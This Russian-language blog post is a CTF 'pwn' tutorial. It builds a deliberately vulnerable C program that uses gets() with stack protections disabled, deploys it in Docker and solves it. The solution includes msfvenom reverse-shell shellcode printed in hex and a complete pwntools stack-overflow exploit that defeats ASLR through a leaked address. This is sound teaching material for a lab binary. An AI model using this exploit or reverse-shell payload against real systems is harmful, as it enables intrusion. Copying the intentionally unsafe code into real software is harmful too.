Привет, когда-то давно я писал свой первый таск на переполнение стека, и вот решил обернуть всё это в пост про введение в категорию pwn.

TL;DR

Исходники доступны ***на гитхабе.*** Таск поднимается несколькими командами, нужен лишь Docker. Решение также лежит в репе.

Если вы уже обладаете навыками пывна, то предлагаю решить таск.

Остальным соболезную — придется читать. Начну с небольшого введения в pwn, далее покажу пошаговое создание простого задания и его пошаговое решение. В реверс сильно углубляться не буду, не будет ни одного дизассемблирования, но минимальные знания работы исполняемых файлов и ассемблера всё-таки понадобятся.

Приятного чтения.

0x00> Введение

[Небольшая историческая справка]

На начало 2025 года язык C (не путать с C++) является практически самым низкоуровневым языком из придуманных. Он позволяет гибко и напрямую работать с памятью процесса, исключая 100500 слоёв абстракций. Собственно, на нём и написаны более высокоуровневые языки, такие, как Perl, Python, PHP и Go.

Так вот, в стандарте языка C, помимо всего прочего, указан набор интерфейсов для взаимодействия с ОС, который называется C Standart Library (или libc). Согласно стандарту, каждый указанный там интерфейс должен быть реализован, если мы хотим программировать на C. Сама реализация идет уже на усмотрение разработчика.

Собственно, одной из таких реализаций является опенсурсная реализация проекта GNU, и называется она glibc.

[Конец небольшой исторической справки]

Про glibc я упомянул не просто так. Наше внимание привлекает структура некоторых интерфейсов libc и их реализация в glibc. Со временем оказалось, что некоторые функции, о ужас, являются небезопасными, и могут привести к нарушению целостности доступа к памяти по время работы программы с использованием этих функций.

Например, есть функция gets, копирующая стандартный ввод в переменную:

1#include <stdio.h>
2
3int main(){
4	printf("Type your name.. ");
5	char name[20];
6	gets(name);
7	printf("Hello, %s", name);
8}

С виду всё хорошо и просто. Стандартный пример с вопросом “как тебя зовут?”. Вот только функция gets не видит размер переменной name (равный 20 байтам), и будет копировать данные в её память (а точнее, в память стека) независимо от того, ввели мы с клавиатуры 20 символов или 2000. Таким образом, при переполнении размера переменной мы перезапишем важные части памяти стека, что приведет к его нарушению целостности. Такой баг называется Stack Corruption. А если сойдутся все звезды, то этот баг можно превратить в уязвимость выполнения произвольного кода.

На этом тривиальном примере показана несовершенность стандарта. В реальности же, компилятор gcc просто не скомпилирует этот пример :)

1$ gcc main.c
2test.c: In function ‘main’:
3test.c:6:9: error: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
4    6 |         gets(name);
5      |         ^~~~
6      |         fgets

На этапе прекомпиляции нам напрямую запрещают использовать небезопасную эту функцию и предлагают заменить её на fgets (В которой необходимо указывать максимальный размер буфера для избежания переполнений).

Но данный пример не единичный. Существует множество примеров некорректного использования функций, вот небольшой список. Поэтому, собственно, язык C и называют “небезопасным” языком и просят/требуют переписывать код на расте.

0x01> Создаем таск

pwn (пывн) — это категория ctf про эксплуатацию бинарных уязвимостей, преимущественно, с повреждением памяти (memory corruption) процесса, будь то стек, куча, или еще что-то. Собственно, вся подводка выше к этому и вела. В старой версии этого поста я показывал, как создать уязвимую виртуальную машину, но зачем, когда есть механизмы изоляции процессов и файловой системы, поэтому для деплоя таска будем использовать Docker.

Начнём с разработки самого таска. Пример с вопросом “как тебя зовут?“ будет работать, но это уж слишком тривиально. Думаю, небольшой интерактив добавит энтузиазма к решению:

 1#include <stdio.h>
 2#include <unistd.h>
 3
 4void chatting(){
 5    char name[200];
 6    sleep(3);
 7
 8    printf("Victim> Hi, what's your name, hacker?\n");
 9    fflush(stdout);
10    printf("Me> ");
11    fflush(stdout);
12    gets(name);
13    sleep(1);
14
15    printf("Victim> Ahaha, i just trying to deanon you, %s :)\n\n", name);
16    fflush(stdout);
17    sleep(1);
18
19    printf("\t(I Manage to get part of valuable data. What is it?) %p\n", (void*)&name);
20    fflush(stdout);
21    printf("\t(Continue dialog...)\n\n");
22    fflush(stdout);
23    sleep(1);
24
25    printf("Victim> Okay, I'm a little busy, if you want to say anything else besides name, do it quick\n");
26    fflush(stdout);
27    printf("Me> ");
28    fflush(stdout);
29
30    gets(name);
31    sleep(1);
32
33    printf("[Victim disconnected from secret chat]\n");
34    fflush(stdout);
35    sleep(1);
36}
37
38int main(int argc, char *argv[]){
39
40    printf("I claimed a contract to investigate and hack person. Let's try some social engineering...\n");
41    fflush(stdout);
42    sleep(4);
43
44    printf("[Hacker connected to secret chat]\n");
45    fflush(stdout);
46    
47    chatting();
48
49    printf("Unfortunately, i cannot gain access to his computer. Let's try another time...\n");
50    fflush(stdout);
51    sleep(3);
52
53    printf("[Hacker leaved from secret chat]");
54    fflush(stdout);
55
56    return 0;
57}

Тут та же уязвимость, что и в предыдущем примере, но с богатым сюжетом и “обходом” одной из защиты стека (о ней позже).

Компилировать нужно правильно, со специальными флагами, указывающими компилятору на использование запрещенной функции gets, а также отключение нескольких видов защиты.

1$> gcc -fno-stack-protector \ # Защита от переполнения стека
2 -z execstack \ # добавляет права на исполнения памяти стека
3 -D_FORTIFY_SOURCE=0 \ # Отключает механизм FORTIFY_SOURCE
4 -Wno-implicit-function-declaration \ # Разрешает нам использовать gets
5 -o ./vuln ./src/main.c

Теперь чуть больше про защиту, которую мы только что отключили.

  • -Wno-implicit-function-declaration — Параметр, с которым компилятор на этапе прекомпиляции не пошлет нас из-за использования опасной функции gets.
  • -D_FORTIFY_SOURCE=0 — Компилятор в gcc по умолчанию незаметно от изменяет уязвимые функции на их более совершенный вид. Нам этого не надо, поэтому отключаем эту фичу.
  • -z execstack — У памяти процессов, как и у файлов, есть похожая система прав доступа на чтение, запись и выполнение (rwx). Так, по этим правам можно различать секции ELF-файла, например, .text имеет права r-x, .rodata — r--, а .data — rw-. Вспомним из курса информатики, что память делится на страницы, обычно по 4096 байт для повышения эффективности работы с процессором. Права доступа назначаются каждой странице, в зависимости от того, какой секции эта страница принадлежит. Так вот, стек также является отдельным сегментом, со своими правами, по умолчанию rw-. И для наших темных целей мы добавляем туда еще и возможность выполнения кода (а точнее, нашего будущего пейлоада).
  • -fno-stack-protector — Тут уже поинтереснее. Давайте опять вспомним из курсов информатики, что стек — это вид памяти LIFO (последним вошел — первым вышел). В программах он обычно используется для передачи аргументов и хранения динамических переменных в функции. Он увеличивается на необходимый размер с заходом в новую подпрограмму и уменьшается на столько же при выходе из неё. И если переполнением превысить этот заданный размер сегмента, структура стека разрушится с возможным выполнением произвольного кода. Для предотвращения выхода за заданные границы, на этапе компиляции перед кодом с выделением в стек памяти для подпрограммы, в него выделяется еще несколько байт, и записывается некоторое случайное число, называемое канарейкой (canary), оно не должно изменяется до выхода из подпрограммы. А перед выходом эта ячейка памяти проверяет это число, и в случае несоответствия процесс схлопывается с соответствующей ошибкой. Флагом -fno-stack-protector мы отключаем эту защиту.

Отлично, если вы поняли концепции выше, особенно с канарейкой. Если нет, то ничего страшного, они всё равно будут отключены :)

Скомпилировали, пробуем запустить

 1$ ./vuln
 2I claimed a contract to investigate and hack person. Let's try some social engineering...
 3[Hacker connected to secret chat]
 4Victim> Hi, what's your name, hacker?
 5Me> pyfffe
 6Victim> Ahaha, i just trying to deanon you, pyfffe :)
 7
 8	(I Manage to get part of valuable data. What is it?) 0x7ffe3669a280
 9	(Continue dialog...)
10
11Victim> Okay, I'm a little busy, if you want to say anything else besides name, do it quick
12Me> No more!
13[Victim disconnected from secret chat]
14Unfortunately, i cannot gain access to his computer. Let's try another time...
15[Hacker leaved from secret chat]

Провели диалог, увидели странное значение 0x7ffe3669a280, программа завершилась. Что делаем дальше?

0x02> Решение

Есть в исходном коде то, о чем я промолчал:

1printf("\t(I Manage to get part of valuable data. What is it?) %p\n", (void*)&name);

В этой строке выводится адрес переменной name. Так как она является единственной переменной и храниться в стеке, то её адрес не только является адресом её самой, но еще и (в момент её вывода) является адресом вершины стека.

Ненадолго вернемся к видам защиты памяти. Есть еще один, на этот раз важный вид защиты, так как он не отключен в задаче и о котором я не упомянул — это рандомизация адресного пространства (ASLR — Address Space Layout Randomization).

Мы знаем, что каждый байт памяти процесса имеет свой адрес. И еще мы знаем о виртуальных адресах, что, например, позволяет каждому процессу иметь один и тот же базовый адрес секции .text, а именно, 0x0000000000400000 (по умолчанию). У стека тоже всегда одинаковое начало адреса — 0x00007ffffffff000. Проведем небольшой эксперимент — Запустим 3 различных процесса и посмотрим адреса их стеков.

 1$> while true; do; done &
 2[1] 893055
 3$ cat /proc/893055/maps | grep stack
 47ffffffc0000-7ffffffff000 rw-p 00000000 00:00 0    [stack]
 5
 6$> python3 -c 'while True: pass' &
 7[2] 894870
 8$ cat /proc/894870/maps | grep stack
 97ffffffde000-7ffffffff000 rw-p 00000000 00:00 0    [stack]
10
11$ perl -e 'while(1){}' &
12[3] 896174
13$ cat /proc/896174/maps | grep stack
147ffffffde000-7ffffffff000 rw-p 00000000 00:00 0    [stack]

Конечные адреса стеков одинаковые (так как стек начинается с конца), а начальные адреса зависят от максимального количества выделенной памяти.

И раз уж адреса у сегментов памяти одинаковы, то мы можем, имея копию исполняемого файла, разреверсить наш таск, узнать точное местоположение памяти, которую мы переполняем, и успешно провести атаку.

И тут в игру вступает ASLR. Если она включена, то базовые адреса памяти, в частности, стека, будут сдвинуты на случайное значение, причем это значение всегда разное при каждом запуске процесса. Вот пример:

 1# Выключаем ASLR
 2$ echo 0 > /proc/sys/kernel/randomize_va_space
 3
 4$ cat /proc/self/maps | grep stack                     
 57ffffffde000-7ffffffff000 rw-p 00000000 00:00 0    [stack]
 6$ cat /proc/self/maps | grep stack
 77ffffffde000-7ffffffff000 rw-p 00000000 00:00 0    [stack]
 8$ cat /proc/self/maps | grep stack
 97ffffffde000-7ffffffff000 rw-p 00000000 00:00 0    [stack]
10
11# Включаем ASLR
12$ echo 2 > /proc/sys/kernel/randomize_va_space
13
14$ cat /proc/self/maps | grep stack  
157ffce2c62000-7ffce2c83000 rw-p 00000000 00:00 0    [stack]
16$ cat /proc/self/maps | grep stack
177fff7dc80000-7fff7dca1000 rw-p 00000000 00:00 0    [stack]
18$ cat /proc/self/maps | grep stack
197ffdc1270000-7ffdc1291000 rw-p 00000000 00:00 0    [stack]

При отключенной защите адреса разных процессов утилиты cat одинаковые, при включенной — середина адресов всегда разная. А значит мы, даже имея копию исполняемого файла, просто так не узнаем точный адрес места, откуда начинается переполнения буфера (а это для нас очень важно).

ASLR по умолчанию включена в ОС и нашей задаче тоже, но с небольшой оговоркой — если внимательно посмотреть, то можно увидеть сходство между началом адреса любыми упомянутыми адресами стеков и странным числом из диалога хакера 0x7ffe3669a280. Знающие люди сразу поймут зачем оно тут, ну а мы начнём решение задачи.

0x02> Уже точно решение

Итак, навскидку, у нас есть исполняемый файл с небезопасной функцией ввода, стеком на исполнение, отсутствием канареек, но с ASLR.

  1. Обход ASLR.

Обойти ASLR — значит каким-либо образом получить тот случайногенерируемый базовый адрес стека после каждого запуска процесса. Надеюсь, мой тончайший намек на то, что число 0x7ffe3669a280 является вершиной стека, был понят. Его мы и используем.

  1. Вычисление размера фрейма стека

Как я упоминал, при каждом заходе в подпрограмму стек занимает соответствующее количество памяти, равной размеру аргументов и локальных переменных этой подпрограммы плюс паддинг (выравнивание стека) до деления без остатка на 16 плюс 8 байт на хранение регистра RBP и плюс еще 8 байт на RIP. Нетрудно посчитать, что в нашем случае для функции (подпрограммы) chatting это значение будет 216 байт. Но это можно вычислить и по-другому. Зовем на помощь Metasploit Framework!

 1# Мы просим метасплоит предоставить нам строку размером 500 с уникальными последовательностями символов
 2$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500 
 3Aa0Aa1<SNIP>Aq4Aq5Aq
 4
 5# Запускаем исполняемый файл в дебаггере
 6$ gdb vuln
 7<SNIP>
 8gef➤  run
 9I claimed a contract to investigate and hack person. Let's try some social engineering...
10<SNIP>
11Victim> Okay, I'm a little busy, if you want to say anything else besides name, do it quick
12# Вставляем эту длинную строку на предположительное место переполнения
13Me> Aa0Aa1<SNIP>Aq4Aq5Aq
14<SNIP>
15
16# Переполнение произошло, дебаггер показывает нам причину остановки и замораживает 
17#   процесс сразу после выхода из функции chatting
18[#0] Id 1, Name: "vuln", stopped 0x555555555302 in chatting (), reason: **SIGSEGV**
19
20# Смотрим, что в данный момент находится в регистре RBP
21gef➤  printf "%s\n", (char[])$rbp
22# а это оказался кусочек строки, ранее сгенерированной метасплоитом
23**g9Ah0Ah1**
24
25# Передаем его в скрипт метаслоита, и от, на основе этого смещения, рассчитывает
26#   точный сдвиг от начала стека до хранения регистра RBP
27$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q **g9Ah**
28[*] Exact match at offset 208

Итого получилось 208 байт ДО регистра RBP, то есть 200 байт нашей переменной + 8 байт для выполнения условия 208 mod 16 == 0. Добавляем RBP и RIP — получается фрейм размером 224 байта, следовательно, из-за паддинга, наше первоначальное предположение размера в 216 байт было неверным, и его вычисление нужно доверить метасплоиту и GDB.

Примечание. У нас в коде размер переменной — 200 байт, но её реальный размер (с паддингом) — 208. Следовательно, теоретически мы можем превысить ввод на 8 байт и процесс завершится без ошибок сегментации, можете проверить.

Примечание_2. Если разреверсить функцию chatting, то в самом начале можно увидеть команды PUSH rbp; MOV rsp, rbp; SUB rsp, 0xd0. Это стандартное соглашение о вызове функций, в нём происходит увеличение стека на условную единицу, в этом случае, на 0xd0 байт, и если предствить 0xd0 в десятичном виде, то как раз получим 208 (размер переменой name плюс выравнимание (паддинг)).

  1. Генерация нагрузки

Мы уже узнали адрес стека и смещение от вершины до следующего фрейма, пора крафтить нагрузку.

Шеллкод — это позиционно-независимый машинный код, который, после его инъекции, запускает командную оболочку. Мы же сгенерируем не просто шеллкод, а реверс-шелл. Для этого будем использовать хорошо знакомый всем msfvenom. Не буду это сильно комментировать, только обращу внимание на --bad-chars '\x00\x0a'. Так как мы передаем данные через стандартный поток ввода, он специальным образом обрабатывает спецсимволы перехода на новую строку \n и конца строки \0, и так как этими спецсимволами являются байты \x00 и \x0a, то мы их исключим при генерации шеллкода. Metasploit умный, разберется.

 1$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 --bad-chars '\x00\x0a' -f hex
 2[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
 3[-] No arch selected, selecting arch: x64 from the payload
 4Found 3 compatible encoders
 5Attempting to encode payload with 1 iterations of x64/xor
 6# Нагрузка кодируется специальным образом, чтобы в ней не было байт \x00 и \x0a
 7x64/xor succeeded with size 119 (iteration=0)
 8x64/xor chosen with final size 119
 9Payload size: 119 bytes
10Final size of hex file: 238 bytes
114831c94881e9f6ffffff488d05efffffff48bbd62e7ca238384a0848315827482df8ffffffe2f4bc07243b523a1562d77073a770af02b1d42e799b47384a098766f54452281062fc7673a7523b144029e0168360374f7d204447faa170f127b447128d4b504a5b9ea79bf06f70c3eed92b7ca238384a08

Реверс-шелл есть, теперь нужно заполнить оставшееся место любыми мусорными байтами, можно повторяющимеся буквами A, ровно до 208 байт (до регистров RBP и RIP).

В конце подпрограммы всегда стоят инструкции LEAVE и RET. Первая делает mov rsp, rbp; pop rpb (то-есть уменьшает стек на условную единицу), вторая — pop rip (достаем RIP из последнего байта стека и возвращаемся туда, откуда вызвали подпрограмму).

Так как мы знаем точный адрес хранения RIP в стеке, мы можем переполнением переписать этот адрес так, чтобы следующая инструкция после RET была началом нашего реверс-шелла. Это дело техники, нужно только помнить про bad-chars и считываемый инструкцией RET (POP RIP) порядок байт little-endian.

1payload = bytes.fromhex('4831c94881e9f6ffffff488d05efffffff48bbd62e7ca238384a0848315827482df8ffffffe2f4bc07243b523a1562d77073a770af02b1d42e799b47384a098766f54452281062fc7673a7523b144029e0168360374f7d204447faa170f127b447128d4b504a5b9ea79bf06f70c3eed92b7ca238384a08' + '616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161610a' + '80a26936fe7f')
2
3open('payload.txt', 'wb+').write(b'myCoolName\n' + payload)

Скрипт создаст файл payload.txt с конечной нагрузкой, осталось только запустить с перенаправлением стандартного ввода:

 1$ ./vuln < payload.txt
 2I claimed a contract to investigate and hack person. Let's try some social engineering...
 3[Hacker connected to secret chat]
 4Victim> Hi, what's your name, hacker?
 5Me> Victim> Ahaha, i just trying to deanon you, myCoolName :)
 6
 7	(I Manage to get part of valuable data. What is it?) ***0x7ffc47642930***
 8	(Continue dialog...)
 9
10Victim> Okay, I'm a little busy, if you want to say anything else besides name, do it quick
11Me> [Victim disconnected from secret chat]
12***zsh: segmentation fault  ./vuln < payload.txt***

Ответ убил (процесс). Вспоминаем про ASLR. Адрес всегда разный при каждом запуске процесса, то-есть новый адрес 0x7ffc47642930 похож, но не равен старому 0x7ffe3669a280.

  1. Работаем как pro

Для решения задачи этот адрес нужно узнавать динамически, прямо во время выполнения процесса, и в этом нам подойдет модуль python под названием pwntools. В принципе тут всё тоже самое, только в виде единого скрипта.

 1from pwn import *
 2context.log_level = 'debug'
 3
 4# Открываем процесс. Ввод-вывод перенаправлен через этот скрипт
 5sh = process('./vuln')
 6
 7# Сгенерированная нагрузка
 8# msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 --bad-chars '\x00\x0a' -f hex
 9payload = bytes.fromhex('4831c94881e9f6ffffff488d05efffffff48bbd62e7ca238384a0848315827482df8ffffffe2f4bc07243b523a1562d77073a770af02b1d42e799b47384a098766f54452281062fc7673a7523b144029e0168360374f7d204447faa170f127b447128d4b504a5b9ea79bf06f70c3eed92b7ca238384a08')
10
11# Наш сдвиг до RBP
12offset = 208
13
14sh.recvuntil(b'Me> ', drop=False)
15# Посылаем любое имя
16sh.sendline(b'test')
17
18# Динамически получаем и парсим адрес вершины стека
19sh.recvuntil(b'0x')
20stack = int(sh.recvline().decode().strip('\n'),16)
21print(stack.to_bytes(8, 'big'))
22
23sh.recvuntil(b'Me> ', drop=False)
24# И отправляем наше нагрузку с формате НАГРУЗКА + МУСОРНЫЕ_БАЙТЫ_\x90 
25#  + МУСОРНЫЕ_БАЙТЫ_ДЛЯ_RBP + адрес стека с перевернутом little-endian формате (функция p64).
26sh.sendline(payload + b'\x90'*(offset-len(payload)) + b'bbbbbbbb' + p64(stack)[0:-2])
27
28# Оставляем процесс открытым, чтобы реверс-шелл не отвалился
29sh.interactive()

Момент истины

PoC

PoC

0x03> Обертка в контейнер и деплой таски

После успешной проверки PoC’а, можно задуматься и над деплоем таска. Во всех реальных заданиях категории pwn орги обычно редиректят ввод-вывод на сетевой сокет по TCP. Это можно сделать через утилиту socat. Ну и убьем двух зайцев сразу и запихнем это всё в образ Docker. Это самая легкая часть :)

 1FROM alpine:latest
 2
 3RUN apk add build-base socat
 4
 5RUN mkdir -p /app
 6WORKDIR /app
 7
 8COPY src src
 9COPY Makefile Makefile
10RUN make
11
12RUN rm -rf ./src ./Makefile
13COPY flag.txt /flag.txt 
14
15WORKDIR /app/build
16
17ENTRYPOINT socat TCP4-LISTEN:1337,reuseaddr,fork EXEC:./vuln,stderr
18
19EXPOSE 1337

Создаем образ и запускаем контейнер:

1docker build -t pwn-task .
2docker run -p 1337:1337 --rm -d pwn-task

И проверяем доступ:

1nc 127.0.0.1 1337

Всё, таск готов к употреблению. Исходники можно посмотреть здесь:

https://github.com/PYfffE/kiddypwn

Спасибо за внимание.


Автор: 🔗@pyfffe

Наш Telegram канал: 🔗REDTalk